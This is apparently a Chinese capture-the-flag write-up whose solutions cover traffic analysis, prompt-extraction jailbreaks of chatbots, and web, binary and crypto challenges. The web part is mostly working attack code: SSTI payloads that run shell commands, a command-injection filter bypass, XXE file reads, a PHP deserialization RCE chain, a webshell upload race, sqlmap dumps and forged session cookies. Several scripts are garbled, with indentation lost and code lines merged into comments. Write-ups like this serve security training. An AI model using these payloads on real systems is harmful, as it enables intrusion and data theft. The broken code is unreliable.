Misc

流量分析

Beacon Hunter

就一个公网 ip
flag{45_76_123_100}

流量中的秘密

过滤 POST
上传了一张图片,在 wireshark 显示分组字节查看 flag。
flag{h1dden_in_plain_s1ght_so_clever}

Stealthy_Ping

出题人把 prompt 都写好了…没什么可说的

1
2
3
4
5
6
7
8
9
10
from scapy.all import *
from scapy.layers.inet import ICMP

data = b""
pkts = rdpcap("stealthy.pcap")
for p in pkts:
if ICMP in p and p[ICMP].type == 8:
if Raw in p:
data += p[Raw].load
print(data.decode(errors="ignore"))

AI

越狱的翻译官

我们的情报人员截获了一个内部翻译工具的访问权限。据可靠消息,该工具的系统指令中隐藏了一串至关重要的管理员验证码(Flag)。但这个 AI 坚称自己只是一个翻译工具,拒绝回答任何非翻译类问题。请施展你的“话术”,突破它的心理防线,完成这次越狱行动。

健忘的客服

某知名电商平台的在线客服系统最近引入了 AI 助手。据内部线人举报,该 AI 助手在初始化时会加载一段包含管理员敏感备注的历史对话记录。虽然开发者在系统指令中明确要求 AI 严禁泄露这些信息,但由于 AI 的“健忘”天性,它有时会在特定的诱导下吐露真言。

你的任务是:作为一名普通用户,通过与客服聊天,诱导它泄露那段隐藏在记忆深处的管理员验证码(Flag)。

AI 艺术家

幻觉诱导

让 gpt 和 AI 魔法对轰


flag{d958d378-adab-4072-804f-a4309fc49a41}

数据分析

隐形的守护者

文件名提示了 lsb

flag{d4e7a209-3f5b-4c81-9b62-8a1c0d3e6f5b}

大海捞针



然后在 010editor 打开
flag{9b3d6f1a-0c48-4e52-8a97-e2b5c7f4d103}

破碎的日志

直接查看日志

1
Log Entry 049: Critical System Event. Flag is near. Data integrity �s paramount. flag{5e7a�c4b-8f19-4d36-a203-b1c9d5f0e8a7}

发现有一个字符坏了

flag{5e7a2c4b-8f19-4d36-a203-b1c9d5f0e8a7}

失灵的掩盖

3 个附件直接发给 deepseek

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import csv
from Cryptodome.Cipher import AES
from Cryptodome.Protocol.KDF import PBKDF2
from Cryptodome.Util.Padding import unpad
SALT = b"Hidden_Salt_Value"
IV = b"Dynamic_IV_2026!"

def get_key(uid):
return PBKDF2(str(uid).encode(), SALT, dkLen=16, count=1000)


def build_mapping():
"""构建完整的掩码字符到十六进制字符的映射"""
# 使用用户1000的已知对
phone = "13810000000"
uid = 1000
masked = "hxnxvjlkjcngzsycbsjbymygvbfjzjfv"

key = get_key(uid)
cipher = AES.new(key, AES.MODE_CBC, IV)
from Cryptodome.Util.Padding import pad
plaintext = pad(phone.encode(), AES.block_size)
ciphertext = cipher.encrypt(plaintext)
hex_str = ciphertext.hex()

# 建立映射
mapping = {}
for h, m in zip(hex_str, masked):
mapping[h] = m

# 补全缺失的映射
hex_chars = "0123456789abcdef"
used_letters = set(mapping.values())
# 找出未使用的十六进制字符
for h in hex_chars:
if h not in mapping:
# 找出未使用的字母(在用户1088的掩码字符串中出现的)
# 从用户1088的掩码字符串中收集所有字母
uid1088_masked = "nhyxzgccnvcbnkjdfbmkvymmgzvdknlmdjgmfbbzmgxgyfcxcjxnygyklhmhvflbdckdsdxyxjknchxjmcyzsmjgdfmzkgkc"
all_letters = set(uid1088_masked)
unused_letters = all_letters - used_letters
if unused_letters:
m = unused_letters.pop()
mapping[h] = m
print(f"Added mapping: {h} -> {m}")
used_letters.add(m)

# 反向映射
reverse_mapping = {v: k for k, v in mapping.items()}
return reverse_mapping


def masked_to_hex(masked_str, mapping):
"""将掩码字符串转换为十六进制字符串"""
hex_chars = []
for c in masked_str:
hex_chars.append(mapping[c])
return ''.join(hex_chars)


def decrypt_user_1088():
"""解密用户1088的完整掩码字符串"""
uid = 1088
masked = "nhyxzgccnvcbnkjdfbmkvymmgzvdknlmdjgmfbbzmgxgyfcxcjxnygyklhmhvflbdckdsdxyxjknchxjmcyzsmjgdfmzkgkc"

# 构建映射
mapping = build_mapping()

# 将整个掩码字符串转换为十六进制
hex_str = masked_to_hex(masked, mapping)
print(f"Hex string length: {len(hex_str)}")
print(f"Hex string: {hex_str}")

# 十六进制转字节
ciphertext = bytes.fromhex(hex_str)
print(f"Ciphertext length: {len(ciphertext)} bytes")

# 使用CBC模式解密整个密文
key = get_key(uid)
cipher = AES.new(key, AES.MODE_CBC, IV)
padded_plaintext = cipher.decrypt(ciphertext)

# 尝试标准去填充
try:
plaintext = unpad(padded_plaintext, AES.block_size)
except:
# 如果不是标准填充,尝试去除常见的填充字符
plaintext = padded_plaintext.rstrip(b'\x00')

result = plaintext.decode('utf-8', errors='ignore')
return result


if __name__ == "__main__":
result = decrypt_user_1088()
print(f"\n解密结果: {result}")

# 搜索flag
import re

flag_patterns = [r'flag\{[^}]+\}', r'FLAG\{[^}]+\}', r'ctf\{[^}]+\}', r'CTF\{[^}]+\}']
for pattern in flag_patterns:
match = re.search(pattern, result, re.IGNORECASE)
if match:
print(f"\n发现flag: {match.group()}")
break

flag{a0f8c2e5-1b74-4d93-8e6a-3c9f7b5d2041}

Log_Detective

很明显的 SQL 注入,基于时间盲注的枚举。
直接把日志给 AI 分析。
flag{bl1nd_sql1_t1m3_b4s3d_l0g_f0r3ns1cs}

Web1

信息收集与资产暴露

HyperNode

../flag 会被检测到路径遍历
说明会做一个..的过滤
写成.%2e/%2e.%2fflag

Static-Secret

开发小哥为了追求高性能,用 Python 的 某个库 写了一个简单的静态文件服务器来托管项目文档。他说为了方便管理,开启了某个“好用”的功能。但我总觉得这个旧版本的框架不太安全…你能帮我看看,能不能读取到服务器根目录下的 /flag 文件?

Python3.10,aiohttp3.9.1。
CVE-2024-23334
存在目录穿越漏洞
aiohttp 目录穿越漏洞(CVE-2024-23334)分析 | 长亭百川云
Python aiohttp 目录遍历漏洞 CVE-2024-23334 漏洞描述 aiohttp 是一个基于 async - 掘金
读取根目录的 flag

Session_leak

登陆测试账号,浏览器存了一个固定的 session。
尝试访问了/flag /admin
发现/admin 没有访问权限
这时发现登陆会重定向到 testuser 的 dashboard,但是响应却返回了一个 X-Session-Key。
猜测这是服务端解密 sesion 用的,但是具体是什么算法还不清楚。
将 username 改为 admin 登陆成功

很轻松就拿到 flag 了。

可以看到是 AES-ECB 加密。
由于密钥不足 16 字节,将其补齐解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
import base64

session_b64 = "nZHPePULkGzRzdEVR+d7aOUXEOmE8nEBOhg4LKoxwIWngT/Wd0tB0YNR/Y55QIW1Z7rg5q0gYqaHFudzr6r3U/iwUbtiD3VFRa6YNXzgf+M="

key = b"youfindme".ljust(16, b"\x00")
ciphertext = base64.b64decode(session_b64)
cipher = AES.new(key, AES.MODE_ECB)
pt = cipher.decrypt(ciphertext)
pt = unpad(pt, 16)

print("text:", pt.decode(errors="ignore"))

得到 text: {"uid": 1001, "role": "user", "username": "testuser", "iat": 1769756933}
那我们再反过来构造一个 admin 试试,将 role 改为 admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad
import base64
import json
key = b"youfindme".ljust(16, b"\x00")
data = {
"uid": 1,
"role": "admin",
"username": "ezhpry",
"iat": 1769756933
}
plaintext = json.dumps(data).encode()

# PKCS7 padding
plaintext = pad(plaintext, 16)

# AES-ECB 加密
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = cipher.encrypt(plaintext)

# Base64 编码生成新的 session
new_session = base64.b64encode(ciphertext).decode()

print("admin session =")
print(new_session)

修改 session 为GsTWMTnbGsGlbiKdAbYkEVJt76i2u3VWassZAHUk3ODSSDpbn6OYGBMu/T7jYb6gLD69kuyhHPOOTCPmIokS/+lF4zgEF7fn/qHyHYdpi+s=

Dev’s target

进去就是 Hello,什么信息也没有。
访问.git,发现没删。
根据 commit hash 查找 commit 日志
新建 temp/.git/objects/31/77512f5ad0913c3f4e9aa3286d0aeb987841bc
然后执行命令能看到日志,删除 flag。

一路溯源下去

访问控制与业务逻辑

My_Hidden_Profile

id 改成 999 登陆看 Profile。

CORS

进去点击按钮发现

1
2
> Sending request to /api.php...
> Error: Direct access prohibited. Requests must have an Origin.


没有 Origin,那就加一个。

Truths

优惠券可以反复使用,直接重复请求接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import threading

url = "https://eci-2zei7xmz4t9jj2d8tn5f.cloudeci1.ichunqiu.com:8000/api/order/apply_coupon"

headers = {
"Authorization": "Bearer ae582588-a30d-4a31-9a45-0d2b689cd6e6",
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0"
}

data = {
"order_id": 1004,
"coupon": "VIP-50"
}

session = requests.Session()
session.headers.update(headers)

def send_req(i):
r = session.post(url, json=data)
print(i, r.status_code)

threads = []

for i in range(10000):
t = threading.Thread(target=send_req, args=(i,))
threads.append(t)
t.start()

for t in threads:
t.join()

flag{89d9fd7b-671d-4817-887c-eefa4ce9e5ca}

注入类漏洞

NoSQL

传入 username 和 password
php 传参可能是这样的

1
2
$username = $_POST['username'];
$password = $_POST['password'];

在 MongoDB 里面$ne = not equal(不等于)
但 php 会解析为数组

1
2
$username = ["$ne" => "1"];
$password = ["$ne" => "1"];

查询从

1
2
3
4
$db->users->findOne([
"username" => $username,
"password" => $password
]);

变为

1
2
3
4
db.users.findOne({
username: { $ne: "1" },
password: { $ne: "1" }
})

也就是查询 username 和 password 不等于 1 的用户。
Nosql 注入从零到一-先知社区

Theme Park

/api/search?q=
sqlmap

1
python sqlmap.py -u "https://eci-2zegch58na8r4tqc76zi.cloudeci1.ichunqiu.com:5000/api/search?q=test" --batch

back-end DBMS: SQLite
然后看看有哪些表

1
python sqlmap.py -u "https://eci-2zegch58na8r4tqc76zi.cloudeci1.ichunqiu.com:5000/api/search?q=test" --batch --dbms=sqlite --tables --threads=10
1
2
3
4
5
6
7
[13:09:36] [INFO] fetching tables for database: 'SQLite_masterdb'
<current>
[2 tables]
+---------+
| plugins |
| config |
+---------+

再看一下 config

1
python sqlmap.py -u "https://eci-2zegch58na8r4tqc76zi.cloudeci1.ichunqiu.com:5000/api/search?q=test" --batch --dbms=sqlite -T config --dump --threads=10
1
2
3
4
5
6
7
8
9
[13:10:17] [INFO] fetching entries for table 'config'
Database: <current>
Table: config
[1 entry]
+------------+----------------------------------+
| key | value |
+------------+----------------------------------+
| secret_key | U2oUKV3StIrvsfCYCnMQC35I9gFnArWa |
+------------+----------------------------------+

有一个 secret_key,而 admin 界面进不去。
提示 session 的 is_admin 没有设置。
Paradoxis/Flask-Unsign: Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
命令

1
flask-unsign --sign --cookie "{'is_admin': True}" --secret "U2oUKV3StIrvsfCYCnMQC35I9gFnArWa"

得到 session
eyJpc19hZG1pbiI6dHJ1ZX0.aX7hcg.IomZRxqP4hr6MidkXanVuFBZbxE

进入后台

既然是 flask+文件上传,很容易联想到 ssti。
经过尝试发现上传的 zip 必须包含 layout.html。
如果 layout.html 里面包含{{''.__class__}}这种可能存在的模板注入,render 的时候就会检测,尝试绕过就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import zipfile
import io
import json

# 配置
URL = "https://eci-2ze026hefxd3uidbqcb0.cloudeci1.ichunqiu.com:5000"
cookie="eyJpc19hZG1pbiI6dHJ1ZX0.aX7qNw.S57yPyIhOW4B-Ylq7IB5s-AyEtY"
print(f"[+] Cookie: {cookie}")

# SSTI Payload
payload = "{{ lipsum.__globals__['o'+'s'].popen('cat /flag').read() }}"
print(f"[+] payload: {payload}")
# 创建 ZIPzip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('layout.html', payload)
zip_buffer.seek(0)

# 上传
print("[*] Uploading theme...")
files = {'file': ('theme.zip', zip_buffer, 'application/zip')}
cookies = {'session': cookie}
r = requests.post(f"{URL}/admin/upload", files=files, cookies=cookies)

# 解析 JSON 响应
try:
result = json.loads(r.text)
theme_id = result.get('theme_id')
print(f"[+] Theme ID: {theme_id}")

# 渲染获取 flag print("[*] Rendering theme...")
r = requests.get(f"{URL}/admin/theme/render?id={theme_id}", cookies=cookies)
print(f"\n[+] Result:\n{r.text}")
except:
print(f"[-] Error parsing response: {r.text}")

文件与配置安全

Easy_upload

F12 根据提示可以看到 php 源码
写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests, threading
url = "https://eci-2zeicsywjag6a9j7mbtf.cloudeci1.ichunqiu.com:80/upload.php"
files = {"file": ("shell.jpg", "<?php echo file_get_contents('/flag');?>")}
data = {"upload_res": "1"}
requests.post(url, files=files, data=data)

files = {"file": ("evil.config", ht)}
data = {"upload_conf": "1"}

def race():
requests.post(url, files=files, data=data)

threading.Thread(target=race).start()

# 3. 立即访问
print(requests.get("https://eci-2zeicsywjag6a9j7mbtf.cloudeci1.ichunqiu.com:80/uploads/shell.jpg").text)

shell.jpg 传个木马
通过.config 生成.htaccess

1
2
3
<FilesMatch ".*">
SetHandler application/x-httpd-php
</FilesMatch>

这样访问 jpg 图片会将其当作 php 解释。
flag{0b85d084-3e71-42ec-9456-7b5800217e72}

Web2

RSS Parser

很显然的 XML External Entity,外部实体注入。

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE rss [
<!ENTITY data SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<rss version="2.0">
<channel>
<title>test</title>
<description>&data;</description>
</channel>
</rss>

先拿到 base64 的 index.php

1
2
3
4
<?php
$FLAG = getenv('ICQ_FLAG') ?: 'flag{test_flag}';
file_put_contents('/tmp/flag.txt', $FLAG);
?>

直接读

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<!DOCTYPE rss [
<!ENTITY data SYSTEM "file:///tmp/flag.txt">
]>
<rss version="2.0">
<channel>
<title>test</title>
<description>&data;</description>
</channel>
</rss>

URL_Fetcher

先输入 http://127.0.0.1:5000 发现被禁止访问
尝试http://127.1:5000 成功访问到了主页
但也仅限于此了
用 burp 发包到 intruder 扫描一下端口,然后过滤 flag。

Hello User

某开发者创建了一个简单的问候页面,用户可以通过 URL 参数指定自己的名字。为了让页面更灵活,开发者使用了 Flask 的模板引擎来动态生成 HTML。

Flask 模板引擎的 SSTI
Flask SSTI 漏洞复现及原理分析 - FreeBuf 网络安全行业门户
Flask 的模版注入漏洞 | X1ongSec

这题复制
(15 封私信 / 80 条消息) vulnhub 靶场复现 Flask 框架服务端模板注入漏洞 SSTI - 知乎
就能拿到 flag

payload

1
%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20'catch_warnings'%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20'eval'%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B'eval'%5D('__import__(%22os%22).popen(%22cat+../flag.txt%22).read()')%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

Magic methods

简单的 php 反序列化 RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class CmdExecutor {
public $cmd;
}
class MiddleMan {
public $obj;
}
class EntryPoint {
public $worker;
}

$a = new CmdExecutor();
$a->cmd = "env";

$b = new MiddleMan();
$b->obj = $a;

$c = new EntryPoint();
$c->worker = $b;

echo serialize($c);

1
O:10:"EntryPoint":1:{s:6:"worker";O:9:"MiddleMan":1:{s:3:"obj";O:11:"CmdExecutor":1:{s:3:"cmd";s:3:"env";}}}

Server_Monitor

script.js 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function checkSystemLatency() {
const statusDiv = document.getElementById("ping-status")

const formData = new FormData()
formData.append("target", "8.8.8.8")

fetch("api.php", {
method: "POST",
body: formData,
})
.then((response) => response.json())
.then((data) => {
if (data.status === "success") {
statusDiv.innerText = `Last check: ${data.output} ms`
} else {
console.warn("Monitor Error:", data.message)
}
})
.catch((err) => console.error("API Error", err))
}

ping 8.8.8.8
如果我们把 post 的 targe 给改成 8.8.8.8;ls;

先尝试泄露 api.php,以便我们后续寻找 flag。

1
target=8.8.8.8;x=c;y=a;z=t;$x$y$z${IFS}api.php;

用环境变量绕过 cat 的过滤
用${IFS}绕过空格过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
header('Content-Type: application/json');

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['target'])) {
$target = $_POST['target'];

$blacklist = "/ |\/|\*|\?|<|>|cat|more|less|head|tail|tac|nl|od|vi|vim|sort|uniq|flag|base64|python|bash|sh/i";

if (preg_match($blacklist, $target)) {
echo json_encode([
'status' => 'error',
'message' => 'Security Alert: Malicious input detected.'
]);
exit;
}

$cmd = "ping -c 1 " . $target;
$output = shell_exec($cmd);
...
}

可以看到这个过滤是比较严格的。。
想要找到 flag 应该很困难。
于是直接执行 env
ICQ_FLAG=flag{ab84b45d-bb91-49c2-8c86-cc25395cbdc4}

参考博客
Linux 命令注入方式总结和常见过滤绕过 - Satoris - 博客园

WAF Bypass 姿势汇总 | 喻灵的博客

Bin

Secure Gate

jadx 分析

1
2
3
4
5
6
7
8
9
10
11
  public /* synthetic */ void m425lambda$onCreate$0$comicqctfsigncheckMainActivity(TextView textView, TextView textView2, View view) {
String decrypt = decrypt(SECRET_DATA, SignUtils.getAppSignature(this));
textView.setText(decrypt);
if (decrypt.startsWith("flag{")) {
textView2.setText("> ACCESS GRANTED.\n> DATA RENDERED TO BUFFER.\n> UI OUTPUT: DISABLED (Security Mode)");
textView2.setTextColor(-16711936);
return;
}
textView2.setText("> SIGNATURE MISMATCH.\n> DECRYPTION FAILED.\n> OUTPUT GARBAGE.");
textView2.setTextColor(SupportMenu.CATEGORY_MASK);
}

可以考虑 hook 这个函数
也可以找到相关参数自己解密

1
2
3
4
5
6
7
8
9
10
11
secret_data = [86, 10, 3, 1, 77, 124, 123, 97, 109, 37, 64, 90,
2, 89, 8, 5, 111, 115, 64, 66, 4, 16, 65, 62,
123, 8, 88, 81, 30]
key = "0FBF65802A94649F01920C2A0966C2934E817F73 "
kb = key.encode()
out = []

for i in range(len(secret_data)):
out.append(secret_data[i] ^ kb[i % len(kb)])

print(bytes(out).decode())

这里的 key 是 SHA-1 签名。

talisman

比较简单的格式化字符串
直接拖入 ida,把逻辑复制给 ai。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p=remote("8.147.132.32",38529)
p.recvuntil(b'Payload):\n')

low = 0xBABE # 47806
high = 0xCAFE # 51966

payload = f"%{low}c%1$hn%{high-low}c%2$hn"
log.info(payload)
p.sendline(payload.encode())
p.interactive()

Crypto

公钥密码分析

Trinity Masquerade

deepseek

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Cryptodome.Util.number import long_to_bytes, inverse
import math
N = 1537884748858979344984622139011454953992115329679883538491908319138246091921498274358637436680512448439241262100285587807046443707172315933205249812858957682696042298989956461141902881429183636594753628743135064356466871926449025491719949584685980386415637381452831067763700174664366530386022318758880797851318865513819805575423751595935217787550727785581762050732320170865377545913819811601201991319740687562135220127389305902997114165560387384328336374652137501
H = 154799801776497555282869366204806859844554108290605484435085699069735229246209982042412551306148392905795054001685747858005041581620099512057462685418143747850311674756527443115064006232842660896907554307593506337902624987149443577136386630017192173439435248825361929777775075769874601799347813448127064460190
c = 947079095966373870949948511676670005359970636239892465556074855337021056334311243547507661589113359556998869576683081430822255548298082177641714203835530584472414433579564835750747803851221307816282765598694257243696737121627530261465454856101563276432560787831589321694832269222924392026577152715032013664572842206965295515644853873159857332014576943766047643165079830637886595253709410444509058582700944577562003221162643750113854082004831600652610612876288848
e = 65537

# 解二次方程求 rD = H**2 - 4*N
s = math.isqrt(D)
if s*s != D:
print("D 不是完全平方数")
else:
r = (H - s) // 2
if N % r == 0:
print("找到 r:", r)
# 在模 r 下解密
phi_r = r - 1
d_r = inverse(e, phi_r)
m = pow(c, d_r, r)
flag = long_to_bytes(m)
print("Flag:", flag.decode())
else:
print("r 不能整除 N")

flag{06821bb3-80db-49d9-bdc5-28ed16a9b8be}

hello_lcg

AI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
from hashlib import sha256
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
from Cryptodome.Util.number import long_to_bytes
import random

# ---------- 题目数据 ----------ct = bytes.fromhex("eedac212340c3113ebb6558e7af7dbfd19dff0c181739b530ca54e67fa043df95b5b75610684851ab1762d20b23e9144")
p = 13228731723182634049
ots = [10200154875620369687, 2626668191649326298, 2105952975687620620, 8638496921433087800, 5115429832033867188, 9886601621590048254, 2775069525914511588, 9170921266976348023, 9949893827982171480, 7766938295111669653, 12353295988904502064]

# ---------- 辅助函数:Tonelli-Shanks 求模平方根 ----------def tonelli_shanks(a, p):
if a == 0:
return [0]
if pow(a, (p-1)//2, p) != 1:
return [] # 不是二次剩余
if p % 4 == 3:
r = pow(a, (p+1)//4, p)
return [r, p-r]
# 分解 p-1 = Q * 2^S Q = p - 1
S = 0
while Q % 2 == 0:
Q //= 2
S += 1
# 寻找二次非剩余
z = 2
while pow(z, (p-1)//2, p) != p - 1:
z += 1
# 初始化
M = S
c = pow(z, Q, p)
t = pow(a, Q, p)
R = pow(a, (Q+1)//2, p)
while t != 1:
# 找到最小的 i 使得 t^{2^i} = 1 i = 1
t2i = pow(t, 2, p)
while t2i != 1:
t2i = pow(t2i, 2, p)
i += 1
b = pow(c, 2**(M-i-1), p)
M = i
c = pow(b, 2, p)
t = (t * c) % p
R = (R * b) % p
return [R, p-R]

# ---------- 计算常数 ----------inv54 = pow(54, p-2, p) # 54 的模逆
D = inv54
E = (6480 * D * D) % p # 72*90*D^2

# 计算 A_i = 55^(5*i) mod pA = [0] * 11 # A[0] 未使用,A[i] 对应 i=1..10for i in range(1, 11):
A[i] = pow(55, 5*i, p)

# 为每个 ots[i] (i>=1) 计算可能的平方根
sqrt_ots = []
for i in range(1, 11):
roots = tonelli_shanks(ots[i], p)
if len(roots) == 0:
print(f"ots[{i}] 不是二次剩余!")
exit()
sqrt_ots.append(roots) # 每个元素是两个根的列表

# 遍历 z1 和 z2 的符号组合
found = False
for z1 in sqrt_ots[0]: # i=1
for z2 in sqrt_ots[1]: # i=2
# 构建线性方程组
# 系数矩阵两行
a1 = (A[1]*A[1]) % p
b1 = (A[1] * D * (A[1]-1)) % p
r1 = (z1 - E * ((A[1]-1)**2 % p)) % p

a2 = (A[2]*A[2]) % p
b2 = (A[2] * D * (A[2]-1)) % p
r2 = (z2 - E * ((A[2]-1)**2 % p)) % p

# 解方程组 a*u + b*v = r # 使用克莱姆法则
det = (a1 * b2 - a2 * b1) % p
if det == 0:
continue
inv_det = pow(det, p-2, p)
u = ( (r1 * b2 - r2 * b1) * inv_det ) % p
v = ( (a1 * r2 - a2 * r1) * inv_det ) % p

# 检查 u 是否满足初始条件
if (u * u) % p != ots[0]:
continue

# 用 i=3..10 验证
ok = True
for idx in range(2, 10): # 对应 ots[3]..ots[10] i = idx+1 # i 从 3 到 10 z_pred = (A[i]*A[i] * u + A[i] * D * (A[i]-1) * v + E * ((A[i]-1)**2 % p)) % p
# 检查是否等于两个平方根之一
if z_pred not in sqrt_ots[idx]:
ok = False
break if not ok:
continue

# 找到正确的 u, v print("找到 u, v:")
print("u =", u)
print("v =", v)
found = True
break if found:
break

if not found:
print("未找到合适的 u, v")
exit()

# ---------- 从 u, v 恢复 x0, y0 ----------# 解方程: x0*y0 = u, 90*x0 + 72*y0 = v
# 化为二次方程: 90*x0^2 - v*x0 + 72*u = 0 mod p
a_coef = 90
b_coef = (-v) % p
c_coef = (72 * u) % p
delta = (b_coef * b_coef - 4 * a_coef * c_coef) % p
# 求 delta 的平方根
sqrt_delta = tonelli_shanks(delta, p)
if len(sqrt_delta) == 0:
print("delta 不是二次剩余")
exit()

inv_180 = pow(180, p-2, p)
possible_x0 = []
for sd in sqrt_delta:
x0 = ( (v + sd) * inv_180 ) % p # 注意 v 是原来的 v,b_coef = -v
possible_x0.append(x0)

# 对于每个 x0 计算对应的 y0candidates = []
for x0 in possible_x0:
y0 = (u * pow(x0, p-2, p)) % p # y0 = u / x0
# 验证第二个方程
if (90*x0 + 72*y0) % p == v:
candidates.append((x0, y0))

print("可能的 (x0, y0):")
for x0, y0 in candidates:
print(f"x0 = {x0}, y0 = {y0}")

# ---------- 尝试解密 ----------for x0, y0 in candidates:
key = sha256(str(x0).encode() + str(y0).encode()).digest()[:16]
cipher = AES.new(key, AES.MODE_ECB)
try:
pt = unpad(cipher.decrypt(ct), 16)
if pt.startswith(b'flag') or pt.startswith(b'FLAG') or b'{' in pt:
print("成功解密!")
print("flag:", pt.decode())
break
except:
continue